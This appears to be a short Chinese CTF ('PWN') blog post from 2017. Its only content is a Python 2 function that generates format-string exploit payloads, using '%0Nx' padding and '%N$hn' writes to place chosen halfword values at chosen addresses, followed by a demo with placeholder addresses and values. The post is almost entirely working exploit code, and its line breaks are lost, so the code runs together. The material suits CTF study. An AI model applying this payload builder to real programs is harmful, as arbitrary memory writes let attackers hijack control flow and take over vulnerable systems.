fmt_str write func 发表于 2017-10-16 | 分类于 PWN | | 本文总阅读量 次12345678910111213141516171819202122def format(writes, idx, address_string): printed = len(address_string) payload = "" for where, what in sorted(writes.items(),key = lambda tmp:tmp[1]): print where, what to_add = (what - printed) &0xffff if to_add > 0: if to_add < 8: payload += (what-printed) * 'a' else: payload += '%0' + str(to_add) + 'x' payload += '%' + str(where + idx) + '$hn' printed += to_add return address_string + payloadwrites = {}writes[0] = (0x12345678 >> 16) & 0xffffwrites[1] = 0x12345678 & 0xffffwrites[2] = (0x12abcdef >> 16) & 0xffffwrites[3] = 0x12abcdef & 0xffffaddr_string = '\x12\x34\x56\x78' + '\x12\x34\x56\x78' + '\x12\x34\x56\x78' + '\x12\x34\x56\x78'print format(writes, 0, addr_string)